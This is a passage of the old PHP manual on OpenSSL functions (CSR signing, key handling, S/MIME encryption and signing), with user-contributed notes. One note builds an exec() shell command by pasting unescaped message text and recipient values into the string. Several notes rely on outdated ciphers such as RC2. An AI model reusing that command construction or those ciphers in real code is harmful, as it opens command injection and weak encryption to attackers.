
// You will usually want to create a self-signed certificate at this
// point until your CA fulfills your request.
// This creates a self-signed cert that is valid for 365 days
$sscert = openssl_csr_sign($csr, null, $privkey, 365);

// Now you will want to preserve your private key, CSR and self-signed
// cert so that they can be installed into your web server, mail server
// or mail client (depending on the intended use of the certificate).
// This example shows how to get those things into variables, but you
// can also store them directly into files.
// Typically, you will send the CSR on to your CA who will then issue
// you with the "real" certificate.
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($sscert, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

add a note add a note User Contributed Notes
gonzak at op dot pl
15-Feb-2006 02:57
How in openssl_csr_new  usign [, array configargs [, array extraattribs]]
because I am have add this extension to certificate
/********************
basicConstraints = critical,CA:TRUE,pathlen:0
nsCertType = sslCA,emailCA,objCA
**********************************/

Rafal
25-Jun-2005 03:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com
13-May-2005 11:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail
09-Feb-2005 10:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])
add a note add a note

后退 | 起点 | 前进
openssl_csr_export | 上一级 | openssl_csr_sign


openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_sign -- Sign a CSR with another certificate (or itself) and generate a certificate

Description

resource openssl_csr_sign ( mixed csr, mixed cacert, mixed priv_key, int days [, array configargs [, int serial]] )

openssl_csr_sign() generates an x509 certificate resource from the csr previously generated by openssl_csr_new(), but it can also be the path to a PEM encoded CSR when specified as file://path/to/csr or an exported string generated by openssl_csr_export(). The generated certificate will be signed by cacert. If cacert is NULL, the generated certificate will be a self-signed certificate. priv_key is the private key that corresponds to cacert. days specifies the length of time for which the generated certificate will be valid, in days. You can finetune the CSR signing by configargs. See openssl_csr_new() for more information about configargs. Since PHP 4.3.3 you can specify the serial number of issued certificate by serial. In earlier versions, it was always 0.

Returns an x509 certificate resource on success, FALSE on failure.

注: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

例子 1. openssl_csr_sign() example - signing a CSR (how to implement your own CA)

<?php
// Let's assume that this script is set to receive a CSR that has
// been pasted into a textarea from another page
$csrdata = $_POST["CSR"];

// We will sign the request using our own "certificate authority"
// certificate.  You can use any certificate to sign another, but
// the process is worthless unless the signing certificate is trusted
// by the software/users that will deal with the newly signed certificate

// We need our CA cert and its private key
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$userscert = openssl_csr_sign($csrdata, $cacert, $privkey, 365);

// Now display the generated certificate so that the user can
// copy and paste it into their local configuration (such as a file
// to hold the certificate for their SSL server)
openssl_x509_export($usercert, $certout);
echo $certout;

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

add a note add a note User Contributed Notes
thomas dot lussnig at bewegungsmelder dot de
11-Jul-2002 11:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
       $dn = array(
               "countryName"            => "DE",
               "stateOrProvinceName"    => "Frankfurt",
               "organizationName"      => "smcc.net",
               "organizationalUnitName" => "E-Mail",
               "commonName"            => "Testcert"
               );
       $req_csr  = openssl_csr_new ($dn, $req_key);
       $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
       if(openssl_x509_export ($req_cert, $out_cert)) {
               echo "$out_key\n";
               echo "$out_cert\n";
               }
       else    echo "Failed Cert\n";
       }
else            echo "FailedKey\n";
?>
eric at ypass dot net
14-Jun-2002 07:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
   "countryName" => "US",
   "stateOrProvinceName" => "Colorado",
   "organizationName" => "yPass.net",
   "organizationalUnitName" => "yPass.net",
   "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);
add a note add a note

后退 | 起点 | 前进
openssl_csr_new | 上一级 | openssl_error_string


openssl_error_string

(PHP 4 >= 4.0.6, PHP 5)

openssl_error_string -- Return openSSL error message

Description

string openssl_error_string ( void )

Returns an error message string, or FALSE if there are no more error messages to return.

openssl_error_string() returns the last error from the openSSL library. Error messages are stacked, so this function should be called multiple times to collect all of the information.

例子 1. openssl_error_string() example

<?php
// lets assume you just called an openssl function that failed
while ($msg = openssl_error_string())
    echo $msg . "<br />\n";
?>

add a note add a note User Contributed Notes
greg at gregmaclellan dot com
12-Aug-2004 07:44
Becareful when using this function to check errors, as it seems to read from a buffer of errors, which could include errors from another script or process that was using openssl functions. (I was surprised to find it returing error messages before I had called any openssl_* functions)

To clear the errors, you can do:

while ($err = openssl_error_string());

before using openssl functions. I'm not totally sure of the effect this will have on other threads though, maybe someone can clairify.
add a note add a note

后退 | 起点 | 前进
openssl_csr_sign | 上一级 | openssl_free_key


openssl_free_key

(PHP 4 >= 4.0.4, PHP 5)

openssl_free_key -- Free key resource

Description

void openssl_free_key ( resource key_identifier )

openssl_free_key() frees the key associated with the specified key_identifier from memory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_error_string | 上一级 | openssl_get_privatekey


openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_privatekey -- 别名 openssl_pkey_get_private()

说明

本函数是该函数的别名： openssl_pkey_get_private().

add a note add a note User Contributed Notes
promisc at hotmail dot com
12-Mar-2003 04:21
A part of the script above doesnt works:
...
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
...

This should works:
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey("file:///path/to/private.key",$passphrase);
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 11:46
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
add a note add a note

后退 | 起点 | 前进
openssl_free_key | 上一级 | openssl_get_publickey


openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_publickey -- 别名 openssl_pkey_get_public()

说明

本函数是该函数的别名： openssl_pkey_get_public().

add a note add a note User Contributed Notes
wfredkNOSPAM at L5DevelopmentNOSPAM dot com
09-Mar-2002 11:48
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
add a note add a note

后退 | 起点 | 前进
openssl_get_privatekey | 上一级 | openssl_open


openssl_open

(PHP 4 >= 4.0.4, PHP 5)

openssl_open -- Open sealed data

Description

bool openssl_open ( string sealed_data, string &open_data, string env_key, mixed priv_key_id )

如果成功则返回 TRUE，失败则返回 FALSE。 If successful the opened data is returned in open_data.

openssl_open() opens (decrypts) sealed_data using the private key associated with the key identifier priv_key_id and the envelope key env_key, and fills open_data with the decrypted data. The envelope key is generated when the data are sealed and can only be used by one specific private key. See openssl_seal() for more information.

例子 1. openssl_open() example

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

// free the private key from memory
openssl_free_key($pkeyid);
?>

See also openssl_seal().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_get_publickey | 上一级 | openssl_pkcs7_decrypt


openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_decrypt -- Decrypts an S/MIME encrypted message

Description

bool openssl_pkcs7_decrypt ( string infilename, string outfilename, mixed recipcert [, mixed recipkey] )

Decrypts the S/MIME encrypted message contained in the file specified by infilename using the certificate and its associated private key specified by recipcert and recipkey.

The decrypted message is output to the file specified by outfilename

例子 1. openssl_pkcs7_decrypt() example

<?php
// $cert and $key are assumed to contain your personal certificate and private
// key pair, and that you are the recipient of an S/MIME message
$infilename = "encrypted.msg";  // this file holds your encrypted message
$outfilename = "decrypted.msg"; // make sure you can write to this file

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
    echo "decrypted!";
} else {
    echo "failed to decrypt!";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_open | 上一级 | openssl_pkcs7_encrypt


openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_encrypt -- Encrypt an S/MIME message

Description

bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags [, int cipherid]] )

openssl_pkcs7_encrypt() takes the contents of the file named infile and encrypts them using an RC2 40-bit cipher so that they can only be read by the intended recipients specified by recipcerts, which is either a lone X.509 certificate, or an array of X.509 certificates. headers is an array of headers that will be prepended to the data after it has been encrypted. flags can be used to specify options that affect the encoding process - see PKCS7 constants. headers can be either an associative array keyed by header name, or an indexed array, where each element contains a single header line. Cipher can be selected with cipherid since PHP 5.

例子 1. openssl_pkcs7_encrypt() example

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = file_get_contents("nighthawk.pem");

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "nighthawk@example.com", // keyed syntax
          "From: HQ <hq@example.com>", // indexed syntax
          "Subject" => "Eyes only"))) {
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

add a note add a note User Contributed Notes
bob at bobscheffler dot com
05-Aug-2005 08:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com
16-Mar-2005 07:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com
13-Aug-2004 02:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com
16-Oct-2003 08:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
   array("To" => "nighthawk@example.com",
         "From" => "HQ <hq@example.com>",
         "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com
16-Oct-2003 08:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 11:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

$execstring=  "echo \"" . $yourbodytext . "\" | /usr/local/ssl/bin/openssl smime -encrypt -rc2-128 -rand /usr/local/apache/yoursecuredir/randomfile -text  -to " .  $recipient . " -from someuser@example.com -subject \"" . $subject . "\"  /usr/local/apache/yoursecuredir/usercerts/someuser.pem | /usr/lib/sendmail -t";

exec($execstring,$returndata,$resultcode);

-------------snippet-------------------

It requires the .pem format for the user certificate.  Assuming you already got a certificate from a commercial CA such as www.thawte.com then it is fairly simple to export it from your browser WITHOUT --REPEAT-- WITHOUT its private key and copy it to the PHP/web server. The export process is browser-specific but assuming MS Internet Explorer you require the menu selection tools -> internet options -> content -> certificates -> (highlight your cert in the list) -> export wizard.

The exported file will probably be in DER-encoded binary
with a name like "whatever.CER" and you need to convert it to Privacy Enhanced message (PEM) format. Typically you would now transfer the file to the *nix machine and the command for doing this conversion is, for example:

/usr/local/ssl/bin/openssl x509 -inform DER -outform PEM -in someuser.cer -out someuser.pem

When adapting this code it is of course as always vital to ensure that the values ($recipient etc.) being passed into the system call are acquired in a clean way that avoids trusting user-supplied data.
glyn at tomkins dot net
04-May-2003 04:50
I have been struggling to get openssl_pkcs7_encrypt() to work just as I need it to do but through my perseverence I have prevailed.  The issues I came across were due to my very incomplete understanding of S/MIME, MIME and email headers.

First, both the example in the manual and the correction offered by msisolak above are also slightly incorrect.  Let me explain in lay terms how the problem arises ...

email messages are constructed as follows

headers
blank line
content

For S/MIME, the message is encrypted (including headers) and further headers are wrapped around the encrypted message, like so:

S/MIME headers
blank line
encrypted MIME headers
encrypted blank line
encrypted content

If you have no headers in what you are encrypting then anything before the 1st blank line is regarded as headers and doesn't appear in the content of your message.

openssl_pkcs7_encrypt() creates the entire encrypted portion so if you do not include any headers in your infile then you will find that some of your message may be treated as headers unless you make the first line of your file a blank line.

There is also an error in the way the "From" S/MIME header is coded on the call to openssl_pkcs7_encrypt().

So the example, to work 100% correctly needs to read as follows:

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
//
//Note the first line must be blank as i am providing no headers inside the secure portion of the mail.
$data = <<<EOD

Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < enc.txt");
}

Now,  I wanted to make a couple of other enhancements. My email contained html content and must be formatted when displayed in the email client and I also wanted to use temporary file names to allow multiple users to use the script at the same time. Finally, I wanted to remove these temporary files afterwards.

Here is how the example ends up with these additional enhancements:

<?

// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file my.pem
//
//Note the blank line  following the Content-type header
//
$data = <<<EOD
MIME-Version: 1.0
Content-type: text/html; charset=iso-8859-1

<html>
<b>Nighthawk</b>,
<h1>Top secret, for your eyes only!</h1>
<p>The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!</p>
<p>HQ</p>
</html>
EOD;

// load key
$key = implode("", file("my.pem"));

// generate a unique temporary file name.  Use .txt for the clear text version and .enc for the encrypted version.
$clearfile = tempnam("temp","email") . ".txt";
$encfile = $clearfile . ".enc";
$clearfile .= ".txt";

$fp = fopen($clearfile, "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt($clearfile,$encfile, $key,
  array("To" => "you@yourdomain.com", // keyed syntax
         "From" => "HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
  exec(ini_get("sendmail_path") . " < $encfile");

};
// now erase the temp files
unlink($clearfile);
unlink($encfile);

?>
msisolak at yahoo dot com
29-May-2002 03:14
For those trying to use this function from Windows with a key in Outlook or Outlook Express it can be tricky to figure out how to get the key exported in the format that OpenSSL is looking for.  Since all (at least all Microsoft) products share a common key store, it's easier to export the key from IE than Outlook.

In IE select Tools -> Internet Options, then the "Content" tab, and click the Certificates button.  Select your certificate from the list and click the Export button.  To encrypt email you only want your public key exported in the "Base-64 encoded X.509 (.CER)" format.  The file this procedure creates can be directly used as a key file to S/MIME encrypt with openssl-pkcs7-encrypt.
msisolak at yahoo dot com
26-Apr-2002 06:24
The example code is wrong (at least as of 4.2.0).  The recipcerts parameter is either the actual text of the base64 encoded key file, or it must be a filename in "file://..." format.  A normal path will not work (OpenSSL tries to use the path as the actual certificate).  The above code works as:

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = implode("", file("my.pem"));

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
   array("To" => "example@example.com", // keyed syntax
         "From: HQ <hq@cia.com>", // indexed syntax
         "Subject" => "Eyes only")))
{
   // message encrypted - send it!
   exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

[You can also pass an array of recipcerts values, but I haven't used that so I don't know what it's expecting.]
add a note add a note

后退 | 起点 | 前进
openssl_pkcs7_decrypt | 上一级 | openssl_pkcs7_sign


openssl_pkcs7_sign

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_sign -- Sign an S/MIME message

Description

bool openssl_pkcs7_sign ( string infilename, string outfilename, mixed signcert, mixed privkey, array headers [, int flags [, string extracerts]] )

openssl_pkcs7_sign() takes the contents of the file named infilename and signs them using the certificate and its matching private key specified by signcert and privkey parameters.

headers is an array of headers that will be prepended to the data after it has been signed (see openssl_pkcs7_encrypt() for more information about the format of this parameter.

flags can be used to alter the output - see PKCS7 constants - if not specified, it defaults to PKCS7_DETACHED.

extracerts specifies the name of a file containing a bunch of extra certificates to include in the signature which can for example be used to help the recipient to verify the certificate that you used.

例子 1. openssl_pkcs7_sign() example

<?php
// the message you want to sign so that recipient can be sure it was you that
// sent it
$data = <<<EOD

You have my authorization to spend $10,000 on dinner expenses.

The CEO
EOD;
// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);
// encrypt it
if (openssl_pkcs7_sign("msg.txt", "signed.txt", "mycert.pem",
    array("file://mycert.pem", "mypassphrase"),
    array("To" => "joes@example.com", // keyed syntax
          "From: HQ <ceo@example.com>", // indexed syntax
          "Subject" => "Eyes only")
    )) {
    // message signed - send it!
    exec(ini_get("sendmail_path") . " < signed.txt");
}
?>

add a note add a note User Contributed Notes
dmitri at gmx dot net
05-Apr-2006 04:01
Working example:

<?php

$data = <<< EOF
Content-Type: text/plain;
   charset="us-ascii"
Content-Transfer-Encoding: 7bit

You have my authorization to spend 10,000 on dinner expenses.
The CEO
EOF;

$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

$headers = array("From" => "me@email.com");

openssl_pkcs7_sign("msg.txt", "signed.txt", "file://email.pem", array("file://email.pem", "123456"), $headers);

$data = file_get_contents("signed.txt");

$parts = explode("\n\n", $data, 2);

mail("you@email.com", "Signed message.", $parts[1], $parts[0]);

echo "Email sent";

?>
ungdi at hotmail dot com
16-Mar-2005 07:15
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
maarten at xolphin dot nl
11-Feb-2005 06:24
It is also possible to sign message including attachments. An easy way to do this:

<?
  $boundary = md5(uniqid(time()));
  $boddy = "MIME-Version: 1.0\n";
  $boddy .= "Content-Type: multipart/mixed; boundary=\"" . $boundary. "\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= "This is a multi-part message in MIME format.\n\n";
  $boddy .= "--$boundary\n";
  $boddy .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n";
  $boddy .= "Content-Transfer-Encoding: quoted-printable\n\n";
  $boddy .= $EmailText . "\n\n";
  // Add the attachment to the message
  do  {
   $boddy .= "--$boundary\n";
   $boddy .= "Content-Type: application/pdf; name=\"FileName\"\n";
   $boddy .= "Content-Transfer-Encoding: base64\n";
   $boddy .= "Content-Disposition: attachment;\n\n";
   $boddy .= chunk_split(base64_encode($file)) . "\n\n";
  } while ( {files left to be attached} );
  $boddy .= "--$boundary--\n";

  // Save message to a file
  $msg = 'msg.txt';
  $signed = 'signed.txt';
  $fp = fopen($msg, "w");
  fwrite($fp, $boddy);
  fclose($fp);

  // Sign it
  if (openssl_pkcs7_sign($msg, $signed, 'file://cert.pem',
   array('file://key.pem', 'test'),
   array("To" => "joes@example.com", // keyed syntax
         "From: HQ <ceo@example.com>", // indexed syntax
         "Subject" => "Eyes only"), PKCS7_DETACHED, 'intermediate_cert.pem' )) {
   exec(ini_get('sendmail_path') . ' < ' . $signed);
  }
?>

The same can be established by using the PEAR package Mail_Mime in combination with openssl_pkcs7_sign.
Maciej_Niemir at ilim dot poznan dot pl
17-Oct-2003 10:46
